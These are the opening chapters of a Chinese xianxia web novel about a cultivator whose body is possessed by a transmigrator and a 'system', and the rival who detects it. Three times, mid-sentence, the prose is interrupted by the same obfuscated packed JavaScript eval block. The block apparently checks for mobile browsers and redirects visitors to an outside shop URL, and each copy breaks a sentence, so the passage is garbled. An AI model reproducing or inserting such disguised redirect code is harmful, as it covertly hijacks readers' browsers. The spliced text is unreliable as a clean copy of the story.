《我被夺舍后,宿敌堕魔杀遍三界》 1. 第 1 章 许妄满身脏污的兽血,风尘仆仆回到青云宗。 在执事堂前,看清里面当值的人,不由脚步一顿。 怎么会是他? 许妄下意识低头看了看自己的衣服。 他不喜青云宗的浅色门服,常年穿着几件差不多的黑衣。 方才刚杀死一只双头魔鹫,身上的血污来不及清理,衣服还被妖兽抓破几条大口子,发髻松散,头发有几缕披散下来,像个刚被人揍了一顿的乞丐。 而执事堂内,裴映一袭白衣纤尘不染,如墨的头发一丝不乱,俊美的脸上挂着冷静淡然。 他站在光里,许妄站在阴影中。 如同他们两人,虽然师出同门,却像是两个世界的人。 一个天纵英才,光风霁月,是人人敬仰的少侠;一个出身低微,不服管教,被所有人不待见。 许妄抿紧嘴角,若无其事地走进执事堂。 他一言不发地伸出手,将储物袋递过去。 裴映接过。 动作谨慎小心,不曾碰到许妄的手指。 许妄心里一哂。 虽然衣服来不及清洗,但双手已经用清洁术洗过几遍,至于这么嫌弃吗? 裴映垂着眼,清点任务所需材料。 偌大的执事堂里蔓延着沉默,像一幅无声的画卷。 裴映动作不紧不慢,许妄双手抱在胸前,等得快要不耐烦。 和裴映共处一室,令他浑身不适。 “好了,这是灵石。” 总算清点好,裴映将灵石交给许妄,许妄丝毫没有停留,立即转身离去。 裴映看着许妄的背影,嘴唇微动,想说什么,最终还是没有说出口。 - 许妄回到苍霞峰上的住所。 累得不想换衣服,啪唧一下躺在地上。 很久以前,他并不讨厌裴映。 那时他们相处还算融洽。 整个宗门里,他还以为只有裴映不会瞧不起他。 当初那件事他猜想裴映有苦衷,可后来发现,裴映只是和其他人一样,讨厌他而已。 许妄会这样想,当然是有依据的。 那件事之后,裴映就疏远他,不和他对视。 大概是看到他就恶心? 还有像刚才那样,避免和许妄有任何肢体接触。 像他身上有什么脏东西一样。 许妄自嘲地想,如果连裴映这样的人都讨厌他,那就说明,他是真的很讨厌吧? 难受片刻,许妄便强撑着爬起来。 他只允许自己消沉一小会儿。 裴映讨厌他又如何?他也讨厌裴映。 不过是个假惺惺的伪君子。 总有一天,他会比裴映更强,让裴映成为他的手下败将。 许妄刚想脱掉衣服疗伤,有人叩响他的院门。 打开门,外面站着杂役弟子,交给许妄一个锦囊,说是这个月的份例。 许妄疑惑:“不是已经发过了吗?” 杂役弟子道:“这个我也不知。” 许妄说:“好,多谢。” 打开锦囊,许妄意外地看到里面有一瓶净魔丹。 他今日受的伤,正需要这种丹药。 炼制净魔丹所需的药材都是上品材料,价值不菲,许妄舍不得买。 他本打算用一些普通丹药,让伤口慢慢恢复,没想到此刻竟有这样的意外之喜。 虽然这个月份例早就发过,但他没有多想。 青云宗是修真界数一数二的大宗门,出手阔绰很正常。以前也时不时有额外发放这种极品丹药的时候。 许妄服下一颗净魔丹,身上狰狞的几道伤口迅速生长复原。 他换上干净衣物,盘腿坐在床榻上,刚好利用吸收丹药的机会温习心法。 灵气汇聚,杂念俱消,物我两忘。 有净魔丹辅助,许妄比平时更快进入入定状态。 正当天人交感之时,头脑里一阵剧烈的疼痛,像是脑子被利斧劈开,许妄险些坐不稳。 随即传来一阵“滋滋滋”的尖锐声音。 这声音陌生而怪异,以前从未听过。 许妄眉头紧皱,咬紧牙关,内心有种十分不好的预感。 是修炼出了问题吗? 不像。 这种疼痛和这阵奇怪的声音,并非来自身体内部,更像是来自外界的攻击。 而这攻击,直接指向他的神魂。 许妄默念护魂咒,在识海周围建立起一层无形的屏障。 一道白光飞速而来,化成千万把剑,猛地刺向屏障,很快,许妄筑起的屏障便出现裂缝,直至分崩离析。 许妄立即以识海中的记忆为武器,用记忆洪流攻向那道不知从何而来的白光。 两股力量纠缠在一起,忽然,许妄发现白光附近悬浮着一个灰色光点。 他分辨出那是人类的神魂。 许妄顿感不妙,这是外来魂魄夺舍! 若此刻抵抗不成功,他今日就会…… 许妄来不及悲观,立即将记忆洪流分出一股,攻向那灰色光点。 灰色光点慌忙躲闪。 “啊!” 一阵尖叫声:“系统,他在针对我,救我!” 是人类的声音。 随后,许妄听到一个怪异、尖利呆板的声音说:“宿主,再坚持一下,马上就好。” 这道不知哪里来的白光十分强大,许妄一颗心渐渐跌入谷底。 难道今天就要死在这里了……他既不甘心,也不明白。 他如今刚晋升金丹中期,夺舍是逆天而行的邪术,难度极大,能夺舍金丹修士,起码也要元婴后期,这样厉害的人物为何会盯上他? 他这样被众人厌弃的身份,有什么值得觊觎? 许妄的神魂承受着难以言喻的疼痛,终究坚持不住,记忆洪流被白光穿透,渐渐消散。 他失去意识,身体软软地倒在榻上。 很快,他的双眼猛地睁开,以往倔强冷漠的眸子变得柔和而灵活,他坐起身来,活动着脖子,四处打量着房内的环境。 “许妄”极其不满:“系统,怎么回事?你这次找的对象怎么这么麻烦,居然还会反抗!疼死我了!” 系统说:“抱歉宿主,是我的失误。不过宿主可以放心,原主的魂魄已经彻底消散。” - 许妄渐渐恢复意识。 方才神魂所遭受的撕裂般的疼痛仍有余韵,但总算清醒过来。 他发现自己悬浮在一片虚空的黑暗之中。 他抬起手,看到自己的双手近乎透明,是灵体的状态。 身旁忽然有动静,许妄转头看去,只见在黑暗之中浮现出一些模糊朦胧的场景。 那里有三个人。 一个男人,一个女人,还有一个很小的小孩。 一家三口,十分温馨的画面。 许妄睁大眼睛。 那小孩一小半脸上覆着黑色的鳞片,是他自己。 那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478853|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个男人和女人,是……是他爹娘吗? 许妄看着那些不断变化的场景,眼眶发酸,他逐渐明白过来,这些原来是早已被他遗忘的,三岁以前的记忆。 许妄拿起身边一片漆黑色的鳞片。 那些变幻的场景一瞬间消失不见。 他手上的,是他母亲的护心鳞。 是一条蛟身上最重要的东西,母亲给了他。 幸而他早已将护心鳞内化于识海,凭借着护心鳞的力量,得以躲过那道白光的搜寻,躲藏在识海最深处、他认为最安全的地方—— 他三岁以前,和爹娘在一起的记忆中。 许妄将护心鳞置于心口,凝神感知外界。 躲藏在识海深处,无法用眼睛去看,用耳朵去听,而是用神魂。 这本就很难做到,何况要不露痕迹,避免被夺他舍的那东西发现。 起初五感都像被一层厚重的雾包围,许妄费劲神魂之力,才稍微触及到外界。 他听到两个声音在说话。 一个声音从他身体里发出。 应当就是方才那个光点,是人类的神魂。 另一个声音来自于脑海内部,怪异呆板,被那人类神魂称作什么“系统”。 应当就是那道力量强大的白光。 许妄听到他们在谈论他的身世。 夺他舍的那个人类叫“苏沐白”,系统叫他“穿越者783号”。 系统道:“宿主,你绑定的是万人迷系统,我们所在的世界是修真世界,原主许妄是人和妖结合生下的孩子。在这个世界里,人和妖结合,通常不会有孩子,即便有,也无法成活,许妄是十分罕见的情况。 人和妖势如水火,所以许妄既不被人类接纳,也被妖族排挤,只有青云宗愿意招收这样的弟子。 他因为体质特殊,在修炼一途上很有天赋,得以成为青云宗掌门清虚的第七名亲传弟子。 但即便在青云宗,许妄也是不被欢迎的。 再加上他自身性格孤僻,难以相处,始终是被孤立的边缘人物。就连他的同门,他的师父也对他不闻不问。 宿主的任务是攻略几个重要人物,获取爱意值,从而逆转许妄的口碑,使他由万人嫌转变成万人迷。” 苏沐白道:“要攻略的对象都有谁?说来听听。” 系统道:“一共有四个攻略对象,第一个,赤偃,现任妖王。本体是朱雀,心狠手辣,阴晴不定。 第二个,重光仙尊。青云宗掌门清虚的师弟,化神境,目前修真界最强。醉心于修炼,神秘强大,冷漠高傲。 第三个,魔尊苍煌,性情暴戾,杀人不眨眼。 第四个,裴映。掌门清虚的第三位亲传弟子,天纵奇才,修真界最年轻的元婴修士。光风霁月,温润如玉。” 苏沐白道:“两个都在青云宗,倒是方便。” 许妄听得心惊。 这件事实在古怪,他竟然被两个邪祟同时夺舍。 他隐约明白这种邪祟来自异界,靠吸食他人的正面情感存活。 可是系统口中这几个人,怎么可能对他产生正面情感? 妖王赤偃,憎恶他妖和人混血的身份,曾派人追杀他。 苍煌是大魔头,与正道修士势不两立。 重光仙尊一向不喜妖类。 至于裴映…… 不提也罢。 苏沐白计划着:“这个裴映是许妄的师兄,平时接触最多,不如就先从他开始吧。” 许妄心头一跳。 2. 第 2 章 苏沐白提议先攻略三师兄裴映。 系统出声提醒道:“宿主请注意,许妄和裴映不和,是公认的宿敌,二人虽是同门师兄弟,但除了许妄经常挑战裴映之外,几乎没有交流,而裴映,待宗门内其他人温和有礼,唯独冷落疏远许妄。” “这有什么?”苏沐白不以为意,“我走过几个世界了,有信心凭我的魅力把他拿下。” 许妄是灵体状态,听了这句话还是有种汗毛竖起的感觉。 一个男人,说什么魅力?什么拿下? 他心里充满疑惑,但此刻来不及想太多。 方才系统和苏沐白对话的时候,许妄已经可以用神魂视物。 起初看不真切,有些模糊。虽没有用眼睛看东西那般清晰,但比身处一片黑暗中好得多。 入目是他在青云宗的房间。 苏沐白拿起一面镜子,许妄便看到自己的脸。 幸而他还在自己的身体里,这种感觉令许妄稍感安心。 苏沐白仔细端详着镜子里的脸,眼中流露出惊艳。 许妄生得真的很不错。 苏沐白曾经穿过的那些角色,大部分是白嫩可怜那一挂,许妄就很不同。 五官俊秀,眼眸清澈,他一向独来独往,又很固执,身上有种很独特的、清冷的少年感。 身材也不瘦弱,修长匀称,常年练武,有着恰到好处的肌肉线条。 唯一令苏沐白不满的,就是许妄对自己身上的伤总是不在意,从不好好处理,他身上有大大小小的伤疤,就连脸上也有一道新的,才刚刚结痂。 苏沐白从系统商城里买了强力祛疤膏,涂抹在疤痕上,皮肤一瞬变得光洁如新。 除此之外,还要把他身上那件被清洁术洗到发白的黑衣换掉,青云宗的一件淡青色门服就不错。 这样处理之后,苏沐白对这具肉身十分满意,对着镜子粲然一笑,眼睛天真地弯起来。 识海中的许妄顿感恶心。 这邪祟真是浮夸、做作、令人作呕。 想到这两个邪祟要顶着他的身份去“攻略”那几人,尤其是裴映,许妄无法忍受。 可他不能轻举妄动。 更何况,他如今神魂虚弱,哪怕全力一搏,也不可能夺回身体的主动权。 而一旦两个邪祟发现他还活着,一定会想方设法抹杀他。 如今唯一能做的,只有在识海深处躲藏,修习炼神决,让神魂之力更强,等待两个邪祟神魂虚弱的时机,给他们致命一击。 即便永远不会有这个机会。 但只要他还存在着,就不会放弃。 - 今日正是掌门清虚师门集会的日子。 这种场合,苏沐白自然不会错过,他对着镜子打扮一番,对自己如今的形象十分满意,决定今日就去会会许妄的三师兄,裴映。 系统对苏沐白介绍道:“裴映的父母是掌门清虚的师弟师妹,在裴映七岁时死于修真界与魔界的大战之中,掌门清虚既是裴映的师伯,也是他的师父。 裴映于修炼一途上是天才,二十岁出头便晋升元婴,这在修真界绝无仅有。 他并不恃才傲物,待人温和守礼,心性正直,人人称颂。” 苏沐白问道:“那裴映和许妄为什么不和?” 系统说:“宿主,关于这个世界,我只能获取五年内的具体细节,再之前只能获知重要节点,资料显示这五年里许妄和裴映一直是敌对不和的状态,而许妄进入内门已经是十年前的事,十年前他们之间具体发生过什么,我并不知晓。” 苏沐白道:“既然裴映这么正人君子,自然不会像那些俗人一样对许妄心怀偏见,一定是因为许妄性格不讨喜,惹裴映不高兴才会这样,我得让他看到我的转变。” 识海中的许妄听了,嗤之以鼻。 等着这姓苏的邪祟去裴映那里碰一鼻子灰。 不过好消息是,看来这个名叫系统的怪物并非全知全能,很多事情它都不知道。 许妄不停告诉自己,这怪物一定也有破绽,并非不可战胜。 他的心中还抱有一点期待,掌门是化神境高手,也许能够看出他神魂的异常。 传道殿内。 穹顶上周天星辰图在缓缓运转,清虚白发白须,负手而立。威严又不乏慈爱的目光扫视过在场的六位弟子,满意地点头,清清嗓子,正准备开口—— 大殿入口忽然又出现一个身影。 来者修长挺拔,一袭剪裁合体的青色衣袍,面庞年轻俊秀。 在场七人纷纷向来人望去,随即面露惊诧。 这可是稀客。 许妄作为掌门清虚最小的弟子,只刚拜入师门时来听过几次师父的传道,之后便再也没有露过面。 他独来独往,并不和同门联络,十年来,他的师兄师姐见过他的次数,恐怕一只手都数得过来。 当然,除了裴映。 不知是不是许妄和裴映有私仇,总之,论剑峰上,许妄对裴映的挑战没有停过。 今日不知怎么,许是太阳打西边出来,许妄竟然准时来听师父教导。 印象中,许妄喜穿黑衣,总是冷冰冰的,沉默寡言,容易让人误会他是哑巴,今日却不同。 他目光柔和,和同门一样,穿着青云宗的门服,在众人注视下沉着地走到掌门面前,和师兄师姐们站在一处。 师兄师姐止不住地打量他,两位师姐暗暗传音,许久不见,许妄褪去刚入门时的稚气,倒是比从前更加俊俏了。 苏沐白大方地立着,很满意众人的反应。 但他更关心裴映。 他忍不住偏过头去,看向裴映。 只见他这位三师兄身形高大,肤色冷白,面容英俊,周身气度疏朗开阔。 裴映也向“许妄”看来,眸光冷凝,眉心微蹙。 苏沐白收回目光,对系统道:“裴映果然嫌弃许妄,别人都是惊讶,就他一脸不高兴,像我欠他钱了似的。不过话说回来,不愧是迷倒一众女修的修真界白月光,我这个三师兄实在是帅得太超过了。” 识海中,许妄已经顾不得对苏沐白跃跃欲试的语气感到恶心。 他的一颗心止不住地沉下去。 这系统到底什么来头? 夺舍是逆天而行的邪术,系统和苏沐白抢夺了他的身体,与他的肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478854|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身没有产生任何排异反应,没有引来任何雷劫和业火,甚至,连化神境高手也没有察觉任何异常。 即便师父和同门看出他行为上的反常,但没人往他被夺舍上想。 当然这怨不得别人。 他向来不与旁人亲近,有什么资格要求别人关心他? 可是这样一来,没有外界的帮助,他也许会永远被困在识海的角落。 更坏的可能是,随着苏沐白与他的身体越来越契合,他自己本来的神魂会越来越虚弱,直至悄无声息地消失。 这本是意料之中的事,许妄还是忍不住低落。 苏沐白问系统:“系统,裴映对我的初始好感度如何?” 系统道:“有些奇怪,是零。” “嗯?怎么会是零?”苏沐白疑惑不解。 他不是新手,已经经历过九个世界,按理说,攻略对象对原主的好感值应该会继承到他身上才对。 按照他的预想,裴映对他的初始好感值应该是负数。 “裴映不是讨厌许妄吗?”苏沐白问。 识海中的许妄严肃起来,握紧护心麟。 裴映当然是厌恶他的,但系统没有分辨出来,或许是他的魂魄仍在身体里的缘故。 幸而系统没有向这个方向猜想,它道:“情报显示裴映对许妄从没有恶言相向过,也许表面上裴映和许妄是宿敌,但其实裴映对许妄只是无感,并没有讨厌,是许妄单方面在宣战。” 苏沐白道:“噢,那这样更好了。” 此时,清虚开口问道:“许妄,今日怎么有兴致大驾光临啊?” 面对掌门师尊的阴阳怪气,苏沐白心平气和地拱手:“回禀师父,从前是弟子太过任性,弟子已经知错,今后必定潜心改过,听从师父教诲。” 这样的回应令清虚和众师兄师姐瞠目结舌。 这小子什么时候变得这么谦虚有礼节了? 不过若是许妄真的知道错了,那他作为师父自然应该宽宏大量,既往不咎。 清虚摆摆手:“罢了罢了,以前的事我也不说你什么了,你若是真心悔改,我当然高兴。全看你日后的表现。” 这段与以往不同的插曲到此为止,清虚正准备考察弟子们今日的进益,忽然他的三弟子裴映开口道:“师父,许久未与七师弟比试,弟子想先与师弟切磋一番。” 清虚颇为无语:“你急什么?我还没说话,你就不能等一会儿再打。” “师父。”裴映很执拗地看着他,神情中带着请求。 裴映今日有点反常,他从来不会这般执拗任性的,不过清虚一向最中意这个徒弟,裴映又懂事又上进,最是令他省心,一个小小的要求他怎会拒绝。 “好吧,那你们两个就先比一场。” 苏沐白暗暗心惊。 他对系统道:“系统,现在怎么办,我可不会打架。” “没关系宿主,”系统说,“你不用做什么,身体的主动权交给我就好,我能发挥出许妄原本的实力。” 苏沐白安心了,对裴映行抱拳礼:“三师兄,请。” 裴映听到那声“师兄”,睫毛颤了颤,黑眸深不见底。 3. 第 3 章 不知是谁先动了,两道身影转瞬便战作一团。 几位师兄师姐全神贯注地观看,暗自心惊。 宗门内,境界不同的师兄弟之间比试,境界高的那一方会压制修为,与境界低的一方等同。 即便如此,修为高者的经验和领悟也绝非修为低者可以企及,修为高者取胜居多,何况裴映天资过人,在整个修真界都是佼佼者。 可许妄与裴映过招,仅仅稍逊一筹。 人妖混血,果然天赋异禀。 清虚也摸着胡须不住点头。 许妄虽桀骜不驯,不听他这个师父的,这些年修炼却没有落下,进益飞速。 对战中的裴映却面沉似水,神情愈发肃然,眼眸中甚至带上一抹难以觉察的焦急慌张。 识海中的许妄紧紧盯着裴映的神情,心里忍不住升起一点希望。 又不敢期待。 裴映会发现吗? 可是裴映是讨厌他的,即便发现一点端倪,应当也不会在意吧…… “好了,就到这里吧!”同门比试,一向点到即止,清虚见差不多便叫了停。 苏沐白巴不得赶紧结束,从系统那里接过身体掌控权,立即后退,收剑入鞘。 裴映垂眸,亦将他的坠月剑归入鞘中。 再抬眼时,电光火石间,一道银色的光芒飞出,闪电般射向“许妄”! 苏沐白大惊,根本来不及反应,只觉周身被什么东西牢牢束缚住,动弹不得。 裴映面色冰冷,以指为笔,于虚空中画下繁复的符咒。 符咒金光闪烁,不断变大伸展,充斥了整个传道殿,以不可阻挡之势向“许妄”压下! 这番变故不仅惊呆了苏沐白和在场众人,识海中的许妄亦是睁大双眼,内心止不住地激动。 这是镇灵符,能够驱赶夺舍之魂的镇灵符! 裴映发现“他”不是他了吗……会成功吗…… 此时的苏沐白被捆仙索牢牢绑缚,束手无策地闭上眼睛。 金光裹挟着澎湃的灵力落下,穿透“许妄”的身躯—— 随后逐渐消散于空中。 没有带来任何变化。 传道殿恢复寂静,好似什么都没有发生。 裴映一颗心直直地向下坠。 苏沐白在心里冷笑,抬起头来,一脸惊诧愤怒:“师兄,你这是何意?!” 清虚也疑惑不已:“裴映,你这是做什么?” 裴映并不理会“许妄”,艰难地对清虚道:“师父,他不是许妄,许妄恐怕……被夺舍了。” 话音落下,清虚的目光陡然锐利,剑一般射向“许妄”,其他五名弟子彼此对视一眼,身形瞬移,手执武器将“许妄”团团围住。 在场所有人都严阵以待。 夺舍之事,事关重大。 一来,这是丧尽天良的邪术,青云宗作为名门正派之首绝不姑息。 二来,许妄本身境界不低,有人能成功夺舍许妄,说明此邪修实力不容小觑。 苏沐白立即喊冤,面上震惊委屈表现得恰到好处:“师兄你在说什么?!你怎么会这样想?这太荒唐了!” 他气急败坏,在头脑中对系统说:“系统,这个裴映怎么这么可恶!我们被发现了,现在怎么收场?” 系统道:“宿主请放心。我们是专业系统,在这方面是有保障的,我有百分之百的把握,绝对不会被查出异样。” 苏沐白心下稍安,不满地抱怨:“裴映又不喜欢许妄,许妄没了他不是应该开心吗?怎么这么多管闲事。” 系统说:“可能因为裴映是正人君子,他不会容忍夺舍这种行为,和他面对的人是谁无关。何况,许妄毕竟是他师弟。” 苏沐白冷哼一声。 这下他也恨上裴映。 他做了这么久任务,还是第一次遇到这种事。 不过他也不是好欺负的,既然系统有办法让他瞒天过海,他正好可以利用这个机会狠狠整一下裴映。 识海中的许妄听得心惊。 系统这般笃定不会被识破,连裴映的镇灵符都不起作用,掌门他们还会有别的办法吗? 此时,清虚正眯着眼,释放灵力探查跪在地上的“许妄”。 灵魂与□□契合。 没有任何不对劲之处。 不过,能夺舍金丹修士,说明夺舍者修为高深,就算他是化神境也未必看得出端倪。 何况他相信裴映的判断。 裴映行事一向稳重谨慎,没有证据的事不会乱说,既然他这么笃定,一定是察觉到什么蛛丝马迹。 于是清虚便开口问:“裴映,你可有证据?” 裴映说:“我没有确凿的证据。但他出招的习惯与许妄完全不同。” 许妄向他挑战,从不曾行礼,向来直接拔剑相向。这十年来,更是从未叫过他一声“师兄”。 当然,这不能说明什么,也许发生了什么事,导致许妄心绪转变。 裴映也希望是自己想错了。 可是比试过后,他能够确定,那不是许妄。 他和许妄打过太多场,熟悉他每个细微的动作。 眼前这个“许妄”,一招一式都发挥得完美,找不到一丝破绽,可人怎么会完美?即便一模一样的招式,每个人使出来都会有细小的差别。 凌波步法,许妄的左脚落地时会更快更用力一些;破天式,他的剑尖不是完全平直,会轻微向上倾斜;许妄知晓裴映的弱点在左侧,会倾向于从他的左后方进攻…… 打斗中下意识的反应骗不了人。 眼前这个绝不是许妄。 苏沐白闻言立即讽刺道:“师兄真是雷厉风行,果敢过人,仅凭自己的直觉就认定我是夺人肉身的邪修,将我像罪人一般捆在地上。不过,既然你说我不是许妄,方才的镇灵符,怎么会一点作用都没有呢?” “这……”其他几名弟子面面相觑。 清虚也觉得这的确说不过去。 苏沐白继续道:“若是你拿不出证据,这伤天害理的罪名我是万万不敢当的。” 裴映面沉似水,对清虚道:“师父,请您带他去映魂涯。” 映魂涯,位于青云宗最高峰。 一道瀑布从山崖断裂处垂落,似流淌着的银河。 人立于前,瀑布之上可映照出神魂的形状。 “许妄”仍旧被五花大绑着,由大师兄和二师兄带到瀑布前悬于半空的一朵云上。 瀑布上缓缓显现出少年人修长挺拔的身影,倏尔,又变成一条自在游动的蛟。 几名弟子你看看我,我看看你,觉着有一点尴尬。 半人半妖,这不就是许妄吗? 清虚看向裴映:“还有话说吗?” 裴映面色凝重:“还有镇魂玉。” 镇魂玉是青云宗的法宝,靠近纯净的灵魂时会发出柔和的光芒,靠近魔修或邪修时便会光芒黯淡。 镇魂玉到“许妄”手上,光芒温润柔和。 清虚问:“如何?” 裴映道:“问心阵。” 一行人又来到问心阵上。 问心阵是青云宗护宗大阵的一部分,可令人直面本心。 修士在阵中,无法说出谎言。 苏沐白立于阵眼,对清虚的提问对答如流。 “现在可以相信我了吧?”苏沐白对裴映道。 裴映问:“你第一次见我,是什么时候?” 苏沐白顿了顿,在系统提示下答道:“外门选拔之时。” 裴映说:“不对。” 然而问心阵却并没有被激发,平静如常。 苏沐白得意地看着裴映,成功在他眼中捕捉到难以置信、愤怒和恐慌。 识海中的许妄心情复杂。 裴映怎么知道许妄第一次见他并非是在外门选拔之时? 许妄不记得自己有说过。 不过这不重要了,重要的是,系统连问心阵都可以躲过。 只有他知道这个问题的答案是什么,可其他人并不知晓,别人会怎么想? 许妄有些担心裴映。 那种被所有人怀疑,误解的感觉他最了解。 此时,清虚和其他几名弟子的确忍不住怀疑起裴映来。 夺舍初期最为虚弱,因为神魂和肉身还没有很好地融合,这个时期也最容易露出破绽。 如果这段时间都没有一丝不对劲,那…… 应该就是裴映搞错了,许妄没有被夺舍。 裴映是清虚和两位师兄看着长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478855|201633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的,他少年老成,从小到大还真的没出过任何差错。 可他毕竟是人,偶尔犯点错当然可以理解。 四师妹道:“三师兄是不是最近太累了?” 裴映抿紧嘴角,一言不发。 大师兄柔声说:“阿映,会不会是你搞错了?” 本想着给裴映个台阶让他下,可没想到裴映坚持道:“他不是许妄。” “……”这下,大师兄也不知该说什么好。 清虚看了看裴映,又看了看一脸委屈不解的“许妄”,严厉道:“好了!裴映,你跟我过来。” 苏沐白低下头,掩去眼中闪过的幸灾乐祸。 他问系统:“现在裴映对我的好感值是多少?” 系统:“-999。” 苏沐白:“……” 系统:“这是好感值的下限,如果没有下限,恐怕他对你的好感值还要更低。” 苏沐白问:“系统,这裴映太难对付,反正有四个攻略对象,我放弃裴映这个攻略对象,只攻略其他三个,应该也能完成任务吧?” 系统说:“可以,只要有一个攻略对象通关即可。宿主是对的,裴映的好感值过低,再做什么都是徒劳。” - 清虚将裴映带到一处无人的山谷,布下隔绝外界的结界。 他对裴映道:“几种方法都已试过,许妄的魂灯也好好地燃着,种种迹象表明,他就是许妄。我知道他的性情与以前相比变化很大,但人都是会变的嘛,不能不让人进步啊,你别再固执了。” 裴映只重复着一句话:“他不是许妄,我不会认错。” 清虚无奈:“那你说,还有什么办法?” 裴映语带恳求:“师父,请您对他行搜魂之术。” “荒谬!搜魂是禁忌之术,又没确凿的证据,怎么能随意对你师弟搜魂?” 裴映道:“若他不愿意,就证明他不是许妄。” 清虚气得胡子都抖了:“你疯魔了你,正常人哪个愿意被搜魂?” “我愿意。” “你、你,”清虚指着裴映,“以前怎么没发现你如此固执?” “师父,‘许妄’真的不对劲,您有没有想过,如果他不是许妄,那真的许妄……” 裴映没有继续说下去,有一种可能他无法说出口。 好似不说出来,事情就还会有转机。 清虚看着裴映执拗的双眼,态度软化下来。 虽然常用的几种手段都用了,有人夺舍的可能极小,但万一呢,万一夺舍许妄的家伙修为就是那么高深,这些手段都没用呢? 再怎么说也是他的徒弟。 即便万分之一的可能他也不能就这么不管。 “搜魂术我是做不来,”清虚叹气,“罢了,我请师弟出山。不过,也要许妄自己愿意才行。” - 清虚和裴映回到众人之中。 苏沐白挣了挣,不快道:“师父,何时能给我松绑?绑得我浑身疼。” 大师兄询问清虚:“师父,我看给七师弟松绑了吧?” 裴映抢先道:“不行。” 苏沐白一脸愤恨:“师兄空口白牙,仅凭一张嘴就咬定我是恶人。这么多手段都用过,还是不肯相信我。若我也说你不是裴映,你要如何自证清白?” 裴映淡淡道:“我愿意被搜魂,你呢。” 其他几名弟子纷纷大惊失色,老五云隐脱口而出:“老三,使不得啊!” 识海中的许妄也震惊不已。 这个叫做系统的东西强大到可以躲过任何手段的探查,本来他已经不抱任何希望。 可裴映他……竟然做到这种地步。 许妄喃喃地说,不要。 他不希望裴映接受搜魂。 许妄已经见识过系统的厉害,恐怕搜魂也未必有用,更何况,搜魂的危险太大了。 不论成功与否,他不愿意裴映承担如此巨大的风险。 裴映为他做了这么多,抛开过去的龃龉,他对他已经很感激了。 他希望裴映到此为止。 今后不论什么结果,他一个人承担就够了,不要再搭进去一个裴映。 可惜,许妄困在识海中,说再多话,裴映也听不见。 4. 第 4 章 苏沐白见众人听到“搜魂”的反应,怔了怔。 系统立刻向他解释搜魂术是怎样一种法术。 搜魂之术,只有修为高深、化神境之上者可以施展。 通常只会对有罪之人使用。 因为此术风险极大,需要被搜魂者全身心信任施术之人,全无戒备地自愿让人进入识海,若有一丝抵抗,都会导致记忆缺损,人格破碎。 不仅一切秘密被人知晓,还要承担道基受损,修为丧失,甚至变成行尸走肉的风险。 苏沐白恨恨地说:“裴映可真是恶毒,竟想得出这种毒计。他该不是根本没看出许妄被夺舍,只是过于讨厌许妄,想让他死吧。” 识海中的许妄:…… 他倒从来没这样想过。虽然有过矛盾,但他知道裴映不是那样的人。裴映从来没有想要害他。 “不过宿主放心,”系统道,“即便这种高阶术法,我们也有办法应对。先将宿主传送回基站,由我变幻成许妄神魂的形态即可。” 许妄心下一凉。他恨自己无法说话,无法把这些告知裴映,让他不要白白冒险。 听到系统的保证,苏沐白抬起头,正义凛然:“为洗清冤屈,弟子也愿意被搜魂。” 众人再一次震惊。 师兄师姐低声劝裴映,让裴映道个歉就算了,许妄这般自信,都愿意接受搜魂,肯定没被夺舍啊。 裴映不为所动,黑眸深沉,看不出情绪,只一双手握紧了。 苏沐白看了一眼裴映,高声道:“但若搜魂后证明了我的清白,我要裴映在所有人面前向我道歉。” 裴映淡淡地应了一声“好”。 - 清虚劝不动两个徒弟,无奈之下,给宗门五位长老传信。 搜魂术并非寻常法术,需征得长老同意方可施展。 四位长老很快赶来,只有重光仙尊姗姗来迟。 重光一心清修,不太管宗门事务,但清虚还是请得动的。 苏沐白看向这个攻略对象。 一袭白袍,黑发如瀑,英俊潇洒,样貌自是没得说,不过神情高傲,给人一种一切都不放在眼里的感觉。 但苏沐白不担心。 第一印象并不能说明什么。 裴映看上去倒是谦恭温和,谁想得到那么固执讨人厌? 重光不急不徐地走进传道殿,在座椅上随意地坐下,姿态闲适慵懒。 他扫视一周,开口发问:“这么着急地叫我过来,什么事?” 清虚讲了来龙去脉,既然当事者裴映和“许妄”皆为自愿,几位长老也无异议。 重光问:“谁先来啊?” 裴映道:“我先。” 对裴映施展搜魂术的人是清虚。 他们多年师徒,裴映对清虚更能做到全身心信任。 清虚展开结界。 搜魂需在安静的环境下进行,由不得外界任何扰动。 结界布下,清虚便小心翼翼释放一缕神识,从裴映眉心进入他的识海。 裴映面露痛苦。 不论如何信任施术之人,被搜魂终究是令人难以忍受的过程。 许妄看着裴映紧闭双目,额上豆大的汗珠不住滚落,心想,如果他能夺回身体,他该怎么报答裴映。 可这些恐怕也只是空想。 